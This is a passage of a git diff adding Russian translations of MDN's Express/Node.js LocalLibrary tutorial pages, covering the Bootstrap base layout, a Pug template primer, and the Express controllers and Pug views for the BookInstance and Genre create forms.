block sidebar + ul(class='sidebar-nav') + li + a(href='/catalog') Home + li + a(href='/catalog/books') All books + li + a(href='/catalog/authors') All authors + li + a(href='/catalog/genres') All genres + li + a(href='/catalog/bookinstances') All book-instances + li + hr + li + a(href='/catalog/author/create') Create new author + li + a(href='/catalog/genre/create') Create new genre + li + a(href='/catalog/book/create') Create new book + li + a(href='/catalog/bookinstance/create') Create new book instance (copy) + + div(class='col-sm-10') + block content</code></pre> + +<p>Шаблон использует (и включает) JavaScript и CSS из <a class="external external-icon" href="http://getbootstrap.com/" rel="noopener">Bootstrap</a> , что позволяет улучшить макет и представление HTML-страницы. Применение Bootstrap или другого клиентского фреймворка - быстрый способ создать привлекательную, хорошо масштабируемую страницу. Кроме того, это позволяет получить представление страницы, не вдаваясь в детали - мы можем уделить все внимание коду на стороне сервера!</p> + +<p>Макет представляется достаточно очевидным, если Вы уже прочли статью Основы шаблонов (<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data#Template_primer">Template primer</a>) выше. Обратите внимание на использование <code>block content</code> в качестве места для размещения контента отдельных страниц.</p> + +<p>Базовый шаблон также ссылается на локальный файл стилей (<strong>style.css</strong>), что обеспечивает дополнительное управление внешним видом. Откройте <strong>/public/stylesheets/style.css</strong> и замените его содержимое таким текстом:</p> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token"><span class="class token">.sidebar-nav</span> </span><span class="punctuation token">{</span> + <span class="property token">margin-top</span><span class="punctuation token">:</span> <span class="number token">20</span>px<span class="punctuation token">;</span> + <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span> + <span class="property token">list-style</span><span class="punctuation token">:</span> none<span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<p>При запуске нашего сайта мы должны увидеть боковую панель! В следующих разделах мы будем использовать вышеуказанный макет для определения отдельных страниц.</p> + +<h2 id="Следующие_шаги">Следующие шаги</h2> + +<ul> + <li>Вернуться к <a href="https://developer.mozilla.org/ru/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Учебник Express часть 5: Отображение данных библиотеки</a>.</li> + <li>Перейти к следующему подразделу <a href="https://developer.mozilla.org/ru/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Home_page">Домашняя страница</a>.</li> +</ul> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html new file mode 100644 index 0000000000..3f537db354 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html @@ -0,0 +1,149 @@ +--- +title: Основы шаблонов +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer +--- +<p>Шаблон - это текстовый файл, определяющий <em>структуру</em>, или внешний вид выходного файла, с предусмотренными позициями, в которые будут помещаться данные при отображении по шаблону (в <em>Express</em> шаблоны также называют <em>представлениями</em>).</p> + +<h2 id="Выбор_шаблонов_Express">Выбор шаблонов Express</h2> + +<p>В Express можно использовать много движков отображающих шаблонов ( <a class="external external-icon" href="https://expressjs.com/en/guide/using-template-engines.html" rel="noopener">template rendering engines</a>). В этом руководстве для шаблонов будет использован <a class="external external-icon" href="https://pugjs.org/api/getting-started.html" rel="noopener">Pug</a> (ранее известный как Jade) . Это наиболее популярный в Node язык шаблонов, который о себе заявляет так: чистый, чувствительный к пробелам синтаксис для написания HTML, на который сильно повлиял <a class="external external-icon" href="http://haml.info/" rel="noopener">Haml</a>.</p> + +<p>Разные языки шаблонов используют различные подходы для определения внешнего вида и разметки позиций для данных—некоторые используют HTML для определения внешнего вида, тогда как другие применяют различные форматы разметки, которые затем должы компилироваться в HTML. Pug - второго типа; он использует <em>представление</em> (<em>representation) </em> HTML, в котором первое слово в каждой строке обычно представляет элемент HTML, а отступы в следующих строках применяются, чтобы представить вложенные элементы. Результатом является определение страницы, которое транслируется непосредственно в HTML, и которое, вероятно, более краткое и легче читается.</p> + +<div class="note"> +<p><strong>Заметка:</strong> недостаток применения <em>Pug</em> - это чувствительность к отступам и пробелам (если добавить лишний пробел в "плохом" месте, можно получить невразумительный код ошибки). Однако, если ваши шаблоны уже действуют, их очень легко читать и поддерживать.</p> +</div> + +<h2 class="highlight-spanned" id="Конфигурация_шаблона"><span class="highlight-span">Конфигурация шаблона</span></h2> + +<p>Когда создавался каркас (<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">the skeleton website</a>) веб-сайта <em>LocalLibrary, </em>он был настроен на использование <a class="external external-icon" href="https://pugjs.org/api/getting-started.html" rel="noopener">Pug</a> . Можно было заметить, что модуль pug включен в зависимости в файле <strong>package.json</strong>, и установлен (app.set(...)) как движок представлений в файле <strong>app.js</strong>. Эта установка показывает,, что движок представлений - pug, и что <em>Express</em> должен искать шаблоны в подкаталоге <strong>/views</strong>.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// View engine setup.</span> +app<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span><span class="string token">'views'</span><span class="punctuation token">,</span> path<span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span>__dirname<span class="punctuation token">,</span> <span class="string token">'views'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +app<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span><span class="string token">'view engine'</span><span class="punctuation token">,</span> <span class="string token">'pug'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>Если посмотреть содержимое каталога <strong>views</strong>, можно увидеть файлы с расширением .pug, в которых шаблоны представлений по умолчанию. Это представление для домашней страницы (<strong>index.pug</strong>) и базовый шаблон (<strong>layout.pug</strong>), который следует заменить нашим содержимым.</p> + +<pre><code>/express-locallibrary-tutorial //the project root + /views + error.pug + <strong>index.pug</strong> + layout.pug</code> +</pre> + +<h2 class="highlight-spanned" id="Синтаксис_шаблонов"><span class="highlight-span">Синтаксис шаблонов</span></h2> + +<p>Пример файла шаблона (ниже) демонстрирует многие наиболее полезные черты Pug.</p> + +<p>Сначала отметим, что файл отражает структуру типового HTML-файла, причем первое слов в (почти) каждой строке является элементом HTML, а отступы используются, чтобы показать вложенные элементы. Так, например, элемент <code>body</code> находится внутри элемента <code>html</code>, а элементы <code>p</code> (параграфы) - внутри элемента <code>body,</code> и так далее. Невложенные элементы (т.е. индивидуальные параграфы) располагаются в отдельных строках.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">doctype html +html(lang="en") + head + title= title + script(type='text/javascript'). + body + h1= title + + p This is a line with #[em some emphasis] and #[strong strong text] markup. + p This line has un-escaped data: !{'<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span> is emphasised<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>'} and escaped data: #{'<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span> is not emphasised<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>'}. + | This line follows on. + p= 'Evaluated and <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span>escaped expression<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>:' + title + + <span class="comment token"><!-- You can add HTML comments directly --></span> + // You can add single line JavaScript comments and they are generated to HTML comments + //- Introducing a single line JavaScript comment with "//-" ensures the comment isn't rendered to HTML + + p A line with a link + a(href='/catalog/authors') Some link text + | and some extra text. + + #container.col + if title + p A variable named "title" exists. + else + p A variable named "title" does not exist. + p. + Pug is a terse and simple template language with a + strong focus on performance and powerful features. + + h2 Generate a list + + ul + each val in [1, 2, 3, 4, 5] + li= val</code></pre> + +<p>Атрибуты элементов определены в скобках после соответствующих элементов. В скобках располагается список пар <em>имя атрибута=значение,</em>причем элементы списка разделяются запятой или пробелом. Например:</p> + +<ul> + <li><code>script(type='text/javascript')</code>, <code>link(rel='stylesheet', href='/stylesheets/style.css')</code></li> + <li><code>meta(name='viewport' content='width=device-width initial-scale=1')</code></li> +</ul> + +<p>Значения всех атрибутов <em>экранируются</em> (т.е. такие символы как "<code>></code>" заменяются эквивалентными кодами HTML как "<code>&gt;"</code>) , чтобы предотвратить JavaScript инъекции и межсайтовые атаки.</p> + +<p>Если после тэга стоит знак = , следующий текст рассматривается как <em>выражение</em> JavaScript. Например, шиже в первой строке, содержимое тэга <code>h1</code> будет <em>переменной </em> <code>title</code> (которая определена в файле или передана в шаблон из Express). Во второй строке содержимое параграфа - это текстовая строка, соединенная с переменной <code>title</code> . В каждом из случаев поведение по умолчанию - экранировать строки.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">h1= title +p= 'Evaluated and <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span>escaped expression<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>:' + title</code></pre> + +<p>Если после тэга знак = отсутствует, тогда содержимое рассматривается как обычный текст. Внутри текста можно вставить экранированные или неэкранированные данные, применяя синтаксис <code>#{}</code> и<code> !{}</code>, как показано ниже. В простой текст можно также вставлять "сырой" HTML.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">p This is a line with #[em some emphasis] and #[strong strong text] markup. +p This line has an un-escaped string: !{'<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span> is emphasised<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>'}, an escaped string: #{'<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span> is not emphasised<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>'}, and escaped variables: #{title}.</code></pre> + +<div class="note"> +<p><strong>Совет:</strong> Почти всегда желательно экранировать данные, полученные от пользователей (при помощи синтаксиса <strong><code>#{}</code></strong> ). Данные, которым можно верить (т.е. подсчитанное количество записей, могут быть выведены без экранирования значений.</p> +</div> + +<p>Можно использовать символ конвейера ('<strong>|</strong>') в начале строки, чтобы отметить простой текст ("<a class="external external-icon" href="https://pugjs.org/language/plain-text.html" rel="noopener">plain text</a>"). Например, дополнительный текст, приведенный ниже, будет показан в той же строке, что и предыдущий, но не будет относиться к ссылке.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">a(href='http://someurl/') Link text +| Plain text</code></pre> + +<p>Pug позволяет выполнять условные операции <code>if</code>, <code>else</code> , <code>else if</code> и <code>unless</code>— пример приведен ниже:</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">if title + p Переменная с именем "title" существует +else + p Переменной с именем "title" не существует</code></pre> + +<p>Можно также выполнять циклы (итерации), применяя ситаксис <code>each-in</code> или <code>while</code> . Фрагмент кода (ниже) содержит цикл по элементам массива, чтобы показать список элементов (отметим применение 'li=' для оценки "val" как переменной). Значение итератора val может быть также передано в шаблон как переменная!</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">ul + each val in [1, 2, 3, 4, 5] + li= val</code></pre> + +<p>Синтаксис разрешает также комментарии (которые попадут в результат или нет, по вашему желанию), смеси для создания повторно используемых блоков кода, операторы выбора case, и много другого. Более подробная информация - в документации <a class="external external-icon" href="https://pugjs.org/api/getting-started.html" rel="noopener">The Pug docs</a>.</p> + +<h2 class="highlight-spanned" id="Расширение_шаблонов"><span class="highlight-span">Расширение шаблонов</span></h2> + +<p>Принято иметь общую структуру для всех страниц сайта, <span class="highlight-span">включая стандартную HTML-разметку для </span>заголовка, футера, навигации и т.д. Вместо того, чтобы засталять разработчиков дублировать эти образцы на каждой странице, <em>Pug</em> позволяет объявить базовай шаблон, а затем модифицировать его, заменяя только те небольшие части, которые различны на каждой конкретной странице.</p> + +<p>Например, базовый шаблон <strong>layout.pug,</strong> созданный в каркасе проекта, имеет такой вид:</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">doctype html +html + head + title= title + link(rel='stylesheet', href='/stylesheets/style.css') + body + block content</code></pre> + +<p>Тэг <code>block</code> применен для отметки разделов контента, которые могут быть заменены в производных шаблона (если блок не переопределяется, будет использованиа его реализация в базовом классе).</p> + +<p>Умолчание для <strong>index.pug</strong> (созданный для каркаса проекта) показывает, как можно заменить базовый шаблон. Тэг <code>extends</code> идентифицирует базовый шаблон, который следует использовать, а затем мы используем <code>block <em>section_name,</em></code> чтобы отметить новый контент раздела, который мы заменяем.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">extends layout + +block content + h1= title + p Welcome to #{title}</code></pre> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template">The LocalLibrary base template</a>.</li> +</ul> diff --git a/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html b/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html new file mode 100644 index 0000000000..13f409ea3c --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html @@ -0,0 +1,151 @@ +--- +title: "Форма для создания\_BookInstance" +slug: Learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form +translation_of: Learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form +--- +<p><a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/forms$edit#Create_BookInstance_form" rel="nofollow, noindex"><span>Edi</span></a>В этой статье показано, как определить страницу / форму для создания объектов <code>BookInstance</code>. Это очень похоже на форму, которую мы использовали для создания объектов <code>Book</code>.</p> + +<h2 class="highlight-spanned" id="Импорт_методов_проверки_и_очистки"><span class="highlight-span">Импорт методов проверки и очистки</span></h2> + +<p>Откройте <strong>/controllers/bookinstanceController.js</strong> и добавьте следующие строки вверху файла:</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> <span class="punctuation token">{</span> body<span class="punctuation token">,</span>validationResult <span class="punctuation token">}</span> <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'express-validator/check'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">const</span> <span class="punctuation token">{</span> sanitizeBody <span class="punctuation token">}</span> <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'express-validator/filter'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<h2 class="highlight-spanned" id="Controller—get_route"><span class="highlight-span">Controller—get route</span></h2> + +<p>At the top of the file, require the <em>Book</em> module (needed because each <code>BookInstance</code> is associated with a particular <code>Book</code>).</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> Book <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'../models/book'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>Find the exported <code>bookinstance_create_get()</code> controller method and replace it with the following code.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display BookInstance create form on GET.</span> +exports<span class="punctuation token">.</span>bookinstance_create_get <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + Book<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span><span class="string token">'title'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> books<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Successful, so render.</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'bookinstance_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>title<span class="punctuation token">:</span> <span class="string token">'Create BookInstance'</span><span class="punctuation token">,</span> book_list<span class="punctuation token">: </span>books<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>The controller gets a list of all books (<code>book_list</code>) and passes it to the view <code><strong>bookinstance_form.pug</strong></code> (along with the <code>title</code>)</p> + +<h2 class="highlight-spanned" id="Controller—post_route"><span class="highlight-span">Controller—post route</span></h2> + +<p>Find the exported <code>bookinstance_create_post()</code> controller method and replace it with the following code.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Handle BookInstance create on POST.</span> +exports<span class="punctuation token">.</span>bookinstance_create_post <span class="operator token">=</span> <span class="punctuation token">[</span> + + <span class="comment token">// Validate fields.</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'book'</span><span class="punctuation token">,</span> <span class="string token">'Book must be specified'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'imprint'</span><span class="punctuation token">,</span> <span class="string token">'Imprint must be specified'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'due_back'</span><span class="punctuation token">,</span> <span class="string token">'Invalid date'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">optional</span><span class="punctuation token">(</span><span class="punctuation token">{</span> checkFalsy<span class="punctuation token">:</span> <span class="keyword token">true</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isISO8601</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + + <span class="comment token">// Sanitize fields.</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'book'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'imprint'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'status'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'due_back'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">toDate</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + + <span class="comment token">// Process request after validation and sanitization.</span> + <span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">></span> <span class="punctuation token">{</span> + + <span class="comment token">// Extract the validation errors from a request.</span> + <span class="keyword token">const</span> errors <span class="operator token">=</span> <span class="function token">validationResult</span><span class="punctuation token">(</span>req<span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="comment token">// Create a BookInstance object with escaped and trimmed data.</span> + <span class="keyword token">var</span> bookinstance <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">BookInstance</span><span class="punctuation token">(</span> + <span class="punctuation token">{</span> book<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>book<span class="punctuation token">,</span> + imprint<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>imprint<span class="punctuation token">,</span> + status<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>status<span class="punctuation token">,</span> + due_back<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>due_back + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>errors<span class="punctuation token">.</span><span class="function token">isEmpty</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// There are errors. Render form again with sanitized values and error messages.</span> + Book<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span><span class="string token">'title'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> books<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Successful, so render.</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'bookinstance_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Create BookInstance'</span><span class="punctuation token">,</span> book_list<span class="punctuation token">:</span> books<span class="punctuation token">,</span> selected_book<span class="punctuation token">:</span> bookinstance<span class="punctuation token">.</span>book<span class="punctuation token">.</span>_id <span class="punctuation token">,</span> errors<span class="punctuation token">:</span> errors<span class="punctuation token">.</span><span class="function token">array</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> bookinstance<span class="punctuation token">: </span>bookinstance <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">return</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="keyword token">else</span> <span class="punctuation token">{</span> + <span class="comment token">// Data from form is valid.</span> + bookinstance<span class="punctuation token">.</span><span class="function token">save</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Successful - redirect to new record.</span> + res<span class="punctuation token">.</span><span class="function token">redirect</span><span class="punctuation token">(</span>bookinstance<span class="punctuation token">.</span>url<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="punctuation token">}</span> +<span class="punctuation token">]</span><span class="punctuation token">;</span></code></pre> + +<p>The structure and behaviour of this code is the same as for creating our other objects. First we validate and sanitize the data. If the data is invalid, we then re-display the form along with the data that was originally entered by the user and a list of error messages. If the data is valid, we save the new <code>BookInstance</code> record and redirect the user to the detail page.</p> + +<h2 class="highlight-spanned" id="View"><span class="highlight-span">View</span></h2> + +<p>Create <strong>/views/bookinstance_form.pug</strong> and copy in the text below.</p> + +<pre class="line-numbers language-html"><code class="language-html">extends layout + +block content + h1=title + + form(method='POST' action='') + div.form-group + label(for='book') Book: + select#book.form-control(type='select' placeholder='Select book' name='book' required='true') + - book_list.sort(function(a, b) {let textA = a.title.toUpperCase(); let textB = b.title.toUpperCase(); return (textA < textB) ? -1 : (textA > textB) ? 1 : 0;}); + for book in book_list + if bookinstance + option(value=book._id selected=(bookinstance.book.toString()==book._id.toString() ? 'selected' : false)) #{book.title} + else + option(value=book._id) #{book.title} + + div.form-group + label(for='imprint') Imprint: + input#imprint.form-control(type='text' placeholder='Publisher and date information' name='imprint' required='true' value=(undefined===bookinstance ? '' : bookinstance.imprint)) + div.form-group + label(for='due_back') Date when book available: + input#due_back.form-control(type='date' name='due_back' value=(undefined===bookinstance ? '' : bookinstance.due_back)) + + div.form-group + label(for='status') Status: + select#status.form-control(type='select' placeholder='Select status' name='status' required='true') + option(value='Maintenance') Maintenance + option(value='Available') Available + option(value='Loaned') Loaned + option(value='Reserved') Reserved + + button.btn.btn-primary(type='submit') Submit + + if errors + ul + for error in errors + li!= error.msg</code></pre> + +<p>The view structure and behaviour is almost the same as for the <strong>book_form.pug</strong> template, so we won't go over it again.</p> + +<div class="note"> +<p><strong>Note:</strong> The above template hard-codes the <em>Status</em> values (Maintenance, Available, etc.) and does not "remember" the user's entered values. Should you so wish, consider reimplementing the list, passing in option data from the controller and setting the selected value when the form is re-displayed.</p> +</div> + +<h2 class="highlight-spanned" id="Как_это_выглядит"><span class="highlight-span">Как это выглядит?</span></h2> + +<p>Запустите приложение и откройте в браузере <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Затем выберите ссылку <em>Create new book instance (copy)</em>. Если все настроено правильно, ваш сайт должен выглядеть примерно так, как показано на скриншоте. После того, как вы отправите валидный <code>BookInstance</code>, он должен быть сохранен, и вы попадете на страницу сведений.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14490/LocalLibary_Express_BookInstance_Create_Empty.png" style="display: block; height: 554px; margin: 0px auto; width: 1000px;"></p> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a>.</li> + <li>Proceed to the next subarticle of part 6: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Delete_author_form">Delete Author form</a>.</li> +</ul> diff --git a/files/ru/learn/server-side/express_nodejs/forms/create_genre_form/index.html b/files/ru/learn/server-side/express_nodejs/forms/create_genre_form/index.html new file mode 100644 index 0000000000..c9407372c4 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/forms/create_genre_form/index.html @@ -0,0 +1,199 @@ +--- +title: Create genre form +slug: Learn/Server-side/Express_Nodejs/forms/Create_genre_form +translation_of: Learn/Server-side/Express_Nodejs/forms/Create_genre_form +--- +<p>В этом подразделе рассказано, как сделать страницу для создания жанра (<code>Genre</code>). Хорошая точка для старта, у жанра всего одно поле - <code>name</code>. Как и для любой другой страницы, здесь потребуется внести изменения в соответствующие маршрут, контроллер и шаблон (route, controller, view).</p> + +<h2 id="Import_validation_and_sanitisation_methods">Import validation and sanitisation methods</h2> + +<p>To use the <em>express-validator </em>in our controllers we have to <em>require</em> the functions we want to use from the <strong>'express-validator/check</strong>' and <strong>'express-validator/filter</strong>' modules.</p> + +<p>Open <strong>/controllers/genreController.js</strong>, and add the following line at the top of the file:</p> + +<pre class="brush: js">const validator = require('express-validator'); +</pre> + +<h2 id="Controller—get_route">Controller—get route</h2> + +<p>Find the exported <code>genre_create_get()</code> controller method and replace it with the following code. This simply renders the <strong>genre_form.pug</strong> view, passing a title variable.</p> + +<pre class="brush: js">// Display Genre create form on GET. +exports.genre_create_get = function(req, res, next) { + res.render('genre_form', { title: 'Create Genre' }); +};</pre> + +<h2 id="Controller—post_route">Controller—post route</h2> + +<p>Find the exported <code>genre_create_post()</code> controller method and replace it with the following code.</p> + +<pre class="brush: js">// Handle Genre create on POST. +exports.genre_create_post = [ + + // Validate that the name field is not empty. + validator.body('name', 'Genre name required').trim().isLength({ min: 1 }), + + // Sanitize (escape) the name field. + validator.sanitizeBody('name').escape(), + + // Process request after validation and sanitization. + (req, res, next) => { + + // Extract the validation errors from a request. + const errors = validator.validationResult(req); + + // Create a genre object with escaped and trimmed data. + var genre = new Genre( + { name: req.body.name } + ); + + + if (!errors.isEmpty()) { + // There are errors. Render the form again with sanitized values/error messages. + res.render('genre_form', { title: 'Create Genre', genre: genre, errors: errors.array()}); + return; + } + else { + // Data from form is valid. + // Check if Genre with same name already exists. + Genre.findOne({ 'name': req.body.name }) + .exec( function(err, found_genre) { + if (err) { return next(err); } + + if (found_genre) { + // Genre exists, redirect to its detail page. + res.redirect(found_genre.url); + } + else { + + genre.save(function (err) { + if (err) { return next(err); } + // Genre saved. Redirect to genre detail page. + res.redirect(genre.url); + }); + + } + + }); + } + } +];</pre> + +<p>The first thing to note is that instead of being a single middleware function (with arguments <code>(req, res, next)</code>) the controller 